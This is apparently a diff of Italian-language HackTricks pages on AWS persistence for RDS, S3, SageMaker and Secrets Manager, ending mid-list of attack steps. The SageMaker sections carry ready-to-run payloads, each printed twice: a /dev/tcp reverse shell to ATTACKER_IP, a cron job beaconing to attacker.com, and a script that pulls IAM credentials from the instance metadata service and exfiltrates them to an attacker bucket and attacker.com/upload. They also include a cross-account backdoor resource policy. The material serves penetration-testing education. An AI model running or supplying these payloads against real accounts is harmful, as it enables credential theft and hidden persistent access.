||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rendi l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`
|
||||
|
||||
Un attaccante con questo permesso può **modificare un'istanza RDS esistente per abilitare l'accesso pubblico**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Crea un utente admin all'interno del DB
|
||||
|
||||
Un attaccante potrebbe semplicemente **creare un utente all'interno del DB** così anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.
|
||||
|
||||
### Rendi pubblico lo snapshot
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Per maggiori informazioni, vedi:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rendere l'istanza accessibile pubblicamente: `rds:ModifyDBInstance`
|
||||
|
||||
Un attacker con questa autorizzazione può **modificare un'istanza RDS esistente per abilitare l'accessibilità pubblica**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Crea un utente admin all'interno del DB
|
||||
|
||||
Un attacker potrebbe semplicemente **creare un utente all'interno del DB** così, anche se la password dell'utente master viene modificata, **non perde l'accesso** al database.
|
||||
|
||||
### Rendi lo snapshot pubblico
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Crittografia lato client KMS
|
||||
|
||||
Quando il processo di crittografia è completato, l'utente utilizzerà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **memorizzerà la chiave crittografata generata all'interno dei metadati** del file ([esempio di codice python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che quando si verifica la decrittazione, possa decrittarla nuovamente utilizzando KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pertanto, un attaccante potrebbe ottenere questa chiave dai metadati e decrittare con KMS (`aws kms decrypt`) per ottenere la chiave utilizzata per crittografare le informazioni. In questo modo, l'attaccante avrà la chiave di crittografia e se quella chiave viene riutilizzata per crittografare altri file, sarà in grado di utilizzarla.
|
||||
|
||||
### Utilizzo delle ACL S3
|
||||
|
||||
Sebbene di solito le ACL dei bucket siano disabilitate, un attaccante con privilegi sufficienti potrebbe abusarne (se abilitate o se l'attaccante può abilitarle) per mantenere l'accesso al bucket S3.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Quando il processo di cifratura è completato l'utente userà l'API KMS per generare una nuova chiave (`aws kms generate-data-key`) e **memorizzerà la chiave cifrata generata all'interno dei metadata** del file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) in modo che, al momento della decifratura, possa decifrarla nuovamente usando KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pertanto, un attacker potrebbe ottenere questa chiave dai metadata e decifrarla con KMS (`aws kms decrypt`) per ottenere la chiave usata per cifrare le informazioni. In questo modo l'attacker avrà la chiave di cifratura e, se quella chiave viene riutilizzata per cifrare altri file, potrà usarla.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
Sebbene di solito gli ACLs dei bucket siano disabilitati, un attacker con privilegi sufficienti potrebbe abusarne (se abilitati o se l'attacker può abilitarli) per mantenere l'accesso al bucket S3.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,158 +0,0 @@
|
||||
# Aws Sagemaker Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica delle Tecniche di Persistenza
|
||||
|
||||
Questa sezione delinea i metodi per ottenere persistenza in SageMaker abusando delle Configurazioni del Ciclo di Vita (LCC), inclusi reverse shell, cron job, furto di credenziali tramite IMDS e backdoor SSH. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso alla rete in uscita, ma l'uso di servizi sul piano di controllo AWS può comunque consentire il successo se l'ambiente è in modalità "solo VPC".
|
||||
#### Nota: Le istanze di notebook SageMaker sono essenzialmente istanze EC2 gestite configurate specificamente per carichi di lavoro di machine learning.
|
||||
|
||||
## Permessi Richiesti
|
||||
* Istanze di Notebook:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Applicazioni Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Imposta la Configurazione del Ciclo di Vita sulle Istanze del Notebook
|
||||
|
||||
### Esempi di Comandi AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Imposta la Configurazione del Ciclo di Vita su SageMaker Studio
|
||||
|
||||
Le Configurazioni del Ciclo di Vita possono essere collegate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
|
||||
|
||||
### Livello del Dominio Studio (Tutti gli Utenti)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Level (Spazi Individuali o Condivisi)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipi di Configurazioni del Ciclo di Vita dell'Applicazione Studio
|
||||
|
||||
Le configurazioni del ciclo di vita possono essere applicate specificamente a diversi tipi di applicazioni SageMaker Studio:
|
||||
* JupyterServer: Esegue script durante l'avvio del server Jupyter, ideale per meccanismi di persistenza come reverse shell e cron job.
|
||||
* KernelGateway: Esegue durante il lancio dell'app del gateway del kernel, utile per la configurazione iniziale o l'accesso persistente.
|
||||
* CodeEditor: Si applica all'Editor di Codice (Code-OSS), abilitando script che vengono eseguiti all'inizio delle sessioni di modifica del codice.
|
||||
|
||||
### Esempio di Comando per Ogni Tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### CodeEditor
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informazioni Critiche:
|
||||
* Allegare LCC a livello di dominio o spazio impatta tutti gli utenti o le applicazioni all'interno dell'ambito.
|
||||
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
|
||||
* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati con successo.
|
||||
|
||||
## Shell Inversa tramite Configurazione del Ciclo di Vita
|
||||
|
||||
Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
|
||||
|
||||
### Esempio di Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Persistenza dei Cron Job tramite Configurazione del Ciclo di Vita
|
||||
|
||||
Un attaccante può iniettare cron job tramite script LCC, garantendo l'esecuzione periodica di script o comandi malevoli, abilitando una persistenza furtiva.
|
||||
|
||||
### Esempio di Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Esfiltrazione delle Credenziali tramite IMDS (v1 & v2)
|
||||
|
||||
Le configurazioni del ciclo di vita possono interrogare il Servizio di Metadati dell'Istanza (IMDS) per recuperare le credenziali IAM ed esfiltrarle in una posizione controllata dall'attaccante.
|
||||
|
||||
### Esempio di Payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica delle tecniche di persistenza
|
||||
|
||||
Questa sezione descrive i metodi per ottenere persistenza in SageMaker abusando delle Lifecycle Configurations (LCCs), inclusi reverse shells, cron jobs, credential theft via IMDS e SSH backdoors. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso di rete in uscita, ma l'uso di servizi sul control plane di AWS può comunque permettere il successo se l'ambiente è in modalità 'VPC-only'.
|
||||
|
||||
> [!TIP]
|
||||
> Nota: le istanze notebook di SageMaker sono in pratica istanze EC2 gestite, configurate specificamente per carichi di lavoro di machine learning.
|
||||
|
||||
## Permessi richiesti
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Studio Applications:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Imposta Lifecycle Configuration su Notebook Instances
|
||||
|
||||
### Esempi di comandi AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Imposta Lifecycle Configuration su SageMaker Studio
|
||||
|
||||
Le Lifecycle Configurations possono essere associate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
|
||||
|
||||
### Studio Domain Level (Tutti gli utenti)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Livello Studio Space (spazi individuali o condivisi)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Tipi di configurazioni del ciclo di vita delle applicazioni di Studio
|
||||
|
||||
Le configurazioni del ciclo di vita possono essere applicate specificamente ai diversi tipi di applicazioni di SageMaker Studio:
|
||||
* JupyterServer: Esegue script durante l'avvio del Jupyter server, ideale per meccanismi di persistence come reverse shells e cron jobs.
|
||||
* KernelGateway: Viene eseguito durante il lancio dell'app KernelGateway, utile per la configurazione iniziale o per persistent access.
|
||||
* CodeEditor: Si applica al Code Editor (Code-OSS), permettendo script che vengono eseguiti all'avvio delle sessioni di editing del codice.
|
||||
|
||||
### Comando di esempio per ogni tipo:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### Editor di codice
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Informazioni critiche:
|
||||
* L'assegnazione di LCCs a livello di domain o space impatta tutti gli utenti o le applicazioni nell'ambito.
|
||||
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace), tipicamente più fattibile a livello di space che di domain.
|
||||
* Controlli a livello di rete (es. filtraggio egress stringente) possono prevenire reverse shells o data exfiltration.
|
||||
|
||||
## Reverse Shell tramite Lifecycle Configuration
|
||||
|
||||
Le SageMaker Lifecycle Configurations (LCCs) eseguono script personalizzati all'avvio delle istanze notebook. Un attaccante con i permessi può instaurare un reverse shell persistente.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence via Lifecycle Configuration
|
||||
|
||||
Un attaccante può iniettare cron jobs tramite LCC scripts, garantendo l'esecuzione periodica di script o comandi dannosi e consentendo una persistence stealthy.
|
||||
|
||||
### Payload Example:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Esfiltrazione di credenziali tramite IMDS (v1 & v2)
|
||||
|
||||
Le lifecycle configurations possono interrogare l'Instance Metadata Service (IMDS) per recuperare le credenziali IAM ed esfiltrarle verso una posizione controllata dall'attaccante.
|
||||
|
||||
### Esempio di payload:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistenza tramite resource-based policy del SageMaker Model Package Group (PutModelPackageGroupPolicy)
|
||||
|
||||
Abusa della resource-based policy su un SageMaker Model Package Group per concedere a un principal esterno diritti cross-account (es., CreateModelPackage/Describe/List). Questo crea una backdoor duratura che permette di pushing poisoned model versions o di leggere model metadata/artifacts anche se l'IAM user/role dell'attaccante nell'account vittima viene rimosso.
|
||||
|
||||
Permessi richiesti
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Passaggi (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Note
|
||||
- Per un vero cross-account backdoor, limita Resource allo specifico group ARN e usa l'AWS account ID dell'attaccante in Principal.
|
||||
- Per deployment end-to-end cross-account o lettura di artifact, allinea le autorizzazioni S3/ECR/KMS con l'account dell'attaccante.
|
||||
|
||||
Impatto
|
||||
- Controllo persistente cross-account di un Model Registry group: l'attaccante può pubblicare versioni di modelli malevoli o enumerare/leggere i metadata dei modelli anche dopo che le loro entità IAM sono state rimosse nell'account vittima.
|
||||
|
||||
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Abusa delle impostazioni utente di SageMaker Canvas per reindirizzare silenziosamente le scritture del model registry verso un account controllato dall'attaccante abilitando ModelRegisterSettings e impostando CrossAccountModelRegisterRoleArn su un ruolo dell'attaccante in un altro account.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:UpdateUserProfile sul UserProfile di destinazione
|
||||
- Optional: sagemaker:CreateUserProfile su un Domain che controlli
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Persistenza di Secrets Manager
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tramite Politiche di Risorsa
|
||||
|
||||
È possibile **concedere accesso ai segreti a account esterni** tramite politiche di risorsa. Controlla la [**pagina di Privesc di Secrets Manager**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) per ulteriori informazioni. Nota che per **accedere a un segreto**, l'account esterno avrà anche **bisogno di accesso alla chiave KMS che cripta il segreto**.
|
||||
|
||||
### Tramite Lambda di Rotazione dei Segreti
|
||||
|
||||
Per **ruotare i segreti** automaticamente viene chiamata una **Lambda** configurata. Se un attaccante potesse **modificare** il **codice**, potrebbe direttamente **esfiltrare il nuovo segreto** a se stesso.
|
||||
|
||||
Questo è come potrebbe apparire il codice lambda per tale azione:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tramite Resource Policies
|
||||
|
||||
È possibile **concedere l'accesso a secrets ad account esterni** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access alla KMS key che cifra il secret**.
|
||||
|
||||
### Tramite Secrets Rotate Lambda
|
||||
|
||||
Per **ruotare i secrets** automaticamente viene invocata una **Lambda** configurata. Se un attacker potesse **change** il **code** potrebbe esfiltrare direttamente il nuovo secret a sé stesso.
|
||||
|
||||
Ecco come potrebbe apparire il lambda code per tale azione:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
|
||||
|
||||
Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una Lambda di rotazione controllata dall'attaccante e innescare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso un sink dell'attaccante (es., S3 o HTTP esterno).
|
||||
|
||||
- Requirements
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
|
||||
|
||||
- Impact
|
||||
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
|
||||
|
||||
- Attack steps (CLI)
|
||||
1) Prepare attacker sink and Lambda role
|
||||
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
|
||||
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
|
||||
3) Rebind rotation and trigger
|
||||
